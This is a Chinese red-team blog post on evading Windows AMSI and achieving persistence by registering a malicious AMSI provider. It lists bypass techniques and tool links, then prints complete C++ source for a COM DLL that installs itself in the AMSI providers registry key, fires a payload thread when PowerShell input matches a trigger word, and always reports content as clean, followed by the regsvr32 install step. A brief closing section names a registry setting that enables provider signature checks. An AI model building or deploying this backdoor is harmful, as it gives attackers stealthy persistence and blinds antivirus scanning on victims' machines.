红队技巧 | 持久化攻击(绕过AMSI)

admin 2021年9月15日20:59:16红队技巧 | 持久化攻击(绕过AMSI)已关闭评论277 views字数 8122阅读27分4秒阅读模式

0x01 前言

Microsoft 开发了 AMSI(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows DefenderAMSI API 交互以在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此不限于使用 Windows Defender。网上也有很多介绍AMSI和绕过的文章,这里就不过多介绍!

0x02 AMSI 的工作原理

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。

  • AmsiScanBuffer()

  • AmsiScanString()

如果识别出已知签名,则不会启动执行,并且会出现一条消息,表明脚本已被防病毒软件阻止。下图说明了 AMSI 扫描的过程。

图片

0x03 AMSI 规避

可以通过采取各种策略来逃避 AMSI,字符串和变量的修改、编码和混淆甚至可以恢复一些老的的策略。详细的步骤我发在了知识星球

  1. PowerShell 降级
  2. Base64 编码
  3. Hooking
  4. 内存补丁
  5. 强制出错
  6. 注册表项修改
  7. DLL劫持

工具:

https://github.com/rasta-mouse/AmsiScanBufferBypass
https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998
https://gist.github.com/am0nsec/986db36000d82b39c73218facc557628
https://gist.github.com/am0nsec/854a6662f9df165789c8ed2b556e9597
https://github.com/med0x2e/NoAmci
https://github.com/tomcarver16/AmsiHook

0x04 AMSI Provider 实现持久化

可以提供恶意 DLL并将其注册为提供者,我们就可以进行持久化以触发反恶意软件的“扫描请求”:)。此外,从Scan方法传递要分析的内容,因此在powershell的情况下,我们将有可能分析发送的命令,然后仅在特定条件下的情况下才触发恶意软件的执行

Scan方法的实现项目:https://github.com/netbiosX/AMSI-Provider

#include "stdafx.h"
#include <process.h>
#include <subauth.h>
#include <strsafe.h>
#include <amsi.h>
#include <windows.h>
#include <wrl/module.h>
 
using namespace Microsoft::WRL;
 
HMODULE g_currentModule;
 
typedef void (NTAPI* _RtlInitUnicodeString)(
    PUNICODE_STRING DestinationString,
    PCWSTR SourceString
    );
 
typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)(
    PUNICODE_STRING String1,
    PUNICODE_STRING String2,
    BOOLEAN CaseInsetive
    );
 
DWORD WINAPI MyThreadFunction(LPVOID lpParam);
void ErrorHandler(LPTSTR lpszFunction);
 
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved)
{
    switch (reason)
    {
    case DLL_PROCESS_ATTACH:
        g_currentModule = module;
        DisableThreadLibraryCalls(module);
        Module<InProc>::GetModule().Create();
        break;
 
    case DLL_PROCESS_DETACH:
        Module<InProc>::GetModule().Terminate();
        break;
    }
    return TRUE;
}
 
#pragma region COM server boilerplate
HRESULT WINAPI DllCanUnloadNow()
{
    return Module<InProc>::GetModule().Terminate() ? S_OK : S_FALSE;
}
 
STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv)
{
    return Module<InProc>::GetModule().GetClassObject(rclsid, riid, ppv);
}
#pragma endregion
 
class
    DECLSPEC_UUID("2E5D8A62-77F9-4F7B-A90C-2744820139B2")
    PentestlabAmsiProvider : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IAntimalwareProvider, FtmBase>
{
public:
    IFACEMETHOD(Scan)(_In_ IAmsiStream * stream, _Out_ AMSI_RESULT * result) override;
    IFACEMETHOD_(void, CloseSession)(_In_ ULONGLONG session) override;
    IFACEMETHOD(DisplayName)(_Outptr_ LPWSTR * displayName) override;
 
private:
    LONG m_requestNumber = 0;
};
 
 
HRESULT PentestlabAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
    _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
    _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
 
    UNICODE_STRING myTriggerString1;
    RtlInitUnicodeString(&myTriggerString1, L"xiaozhang");
 
    UNICODE_STRING myTriggerString2;
    RtlInitUnicodeString(&myTriggerString2, L""xiaozhang"");
 
    UNICODE_STRING myTriggerString3;
    RtlInitUnicodeString(&myTriggerString3, L"'xiaozhang'");
 
    ULONG actualSize;
    ULONGLONG contentSize;
    if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
        actualSize == sizeof(ULONGLONG))
    {
        *result = AMSI_RESULT_NOT_DETECTED;
 
        return S_OK;
    }
 
    PBYTE contentAddress;
    if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
        actualSize == sizeof(PBYTE))
    {
        *result = AMSI_RESULT_NOT_DETECTED;
 
        return S_OK;
    }
 
 
    if (contentAddress)
    {
        if (contentSize < 50)
        {
            UNICODE_STRING myuni;
            myuni.Buffer = (PWSTR)contentAddress;
            myuni.Length = (USHORT)contentSize;
            myuni.MaximumLength = (USHORT)contentSize;
 
            if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
            {
 
                DWORD thId;
                CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
            }
        }
    }
 
    *result = AMSI_RESULT_NOT_DETECTED;
 
    return S_OK;
}
 
void PentestlabAmsiProvider::CloseSession(_In_ ULONGLONG session)
{
 
}
 
HRESULT PentestlabAmsiProvider::DisplayName(_Outptr_ LPWSTR* displayName)
{
    *displayName = const_cast<LPWSTR>(L"Sample AMSI Provider");
    return S_OK;
}
 
CoCreatableClass(PentestlabAmsiProvider);
 
DWORD WINAPI MyThreadFunction(LPVOID lpParam)
{
    system("c:\Windows\System32\calc.exe");
 
    return 0;
}
 
 
#pragma region Install / uninstall
 
HRESULT SetKeyStringValue(_In_ HKEY key, _In_opt_ PCWSTR subkey, _In_opt_ PCWSTR valueName, _In_ PCWSTR stringValue)
{
    LONG status = RegSetKeyValue(key, subkey, valueName, REG_SZ, stringValue, (wcslen(stringValue) + 1) * sizeof(wchar_t));
    return HRESULT_FROM_WIN32(status);
}
 
STDAPI DllRegisterServer()
{
    wchar_t modulePath[MAX_PATH];
    if (GetModuleFileName(g_currentModule, modulePath, ARRAYSIZE(modulePath)) >= ARRAYSIZE(modulePath))
    {
        return E_UNEXPECTED;
    }
 
    wchar_t clsidString[40];
    if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)
    {
        return E_UNEXPECTED;
    }
 
    wchar_t keyPath[200];
    HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);
    if (FAILED(hr)) return hr;
 
    hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");
    if (FAILED(hr)) return hr;
 
    hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls\InProcServer32", clsidString);
    if (FAILED(hr)) return hr;
 
    hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, modulePath);
    if (FAILED(hr)) return hr;
 
    hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, L"ThreadingModel", L"Both");
    if (FAILED(hr)) return hr;
 
    // Register this CLSID as an anti-malware provider.
    hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);
    if (FAILED(hr)) return hr;
 
    hr = SetKeyStringValue(HKEY_LOCAL_MACHINE, keyPath, nullptr, L"PentestlabAmsiProvider");
    if (FAILED(hr)) return hr;
 
    return S_OK;
}
 
STDAPI DllUnregisterServer()
{
    wchar_t clsidString[40];
    if (StringFromGUID2(__uuidof(PentestlabAmsiProvider), clsidString, ARRAYSIZE(clsidString)) == 0)
    {
        return E_UNEXPECTED;
    }
 
    // Unregister this CLSID as an anti-malware provider.
    wchar_t keyPath[200];
    HRESULT hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Microsoft\AMSI\Providers\%ls", clsidString);
    if (FAILED(hr)) return hr;
    LONG status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);
    if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);
 
    // Unregister this CLSID as a COM server.
    hr = StringCchPrintf(keyPath, ARRAYSIZE(keyPath), L"Software\Classes\CLSID\%ls", clsidString);
    if (FAILED(hr)) return hr;
    status = RegDeleteTree(HKEY_LOCAL_MACHINE, keyPath);
    if (status != NO_ERROR && status != ERROR_PATH_NOT_FOUND) return HRESULT_FROM_WIN32(status);
 
    return S_OK;
}
#pragma endregion

图片使用CMD开始执行regsvr32 AmsiProvider.dll

图片

接下来查看注册表项,里面将包含任意 AMSI 提供程序。

HKEY_LOCAL_MACHINESOFTWAREMicrosoftAMSIProviders

图片当在 PowerShell传递关键字时,将执行目标有效负载,并且将接收回与命令和控制服务器的连接。图片

0x05 结尾

防范:从 Windows 10 1903 版本开始,Microsoft 引入了一种方法来为提供程序启用 Authenticode + Windows 硬件质量实验室 (WHQL) 签名检查。但默认情况下不启用此功能。要启用 Authenticode + Windows 硬件质量实验室 (WHQL) 签名检查,请设置密钥

计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftAMSIFeatureBits0x2 (DWORD)图片

相关推荐: 如何针对大量目标进行指纹识别

针对某个企业进行渗透测试,通过前期信息收集,会收集到非常多的子域名,有大量应用系统需要我们做测试,当然不可能所有系统都是企业自研,也许会用到比较多的开源系统或者开源组件,那么如何针对大量目标进行指纹识别呢?网上也有很多开源的指纹识别工具,但是速度会比较慢,比如…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月15日20:59:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队技巧 | 持久化攻击(绕过AMSI)https://cn-sec.com/archives/544920.html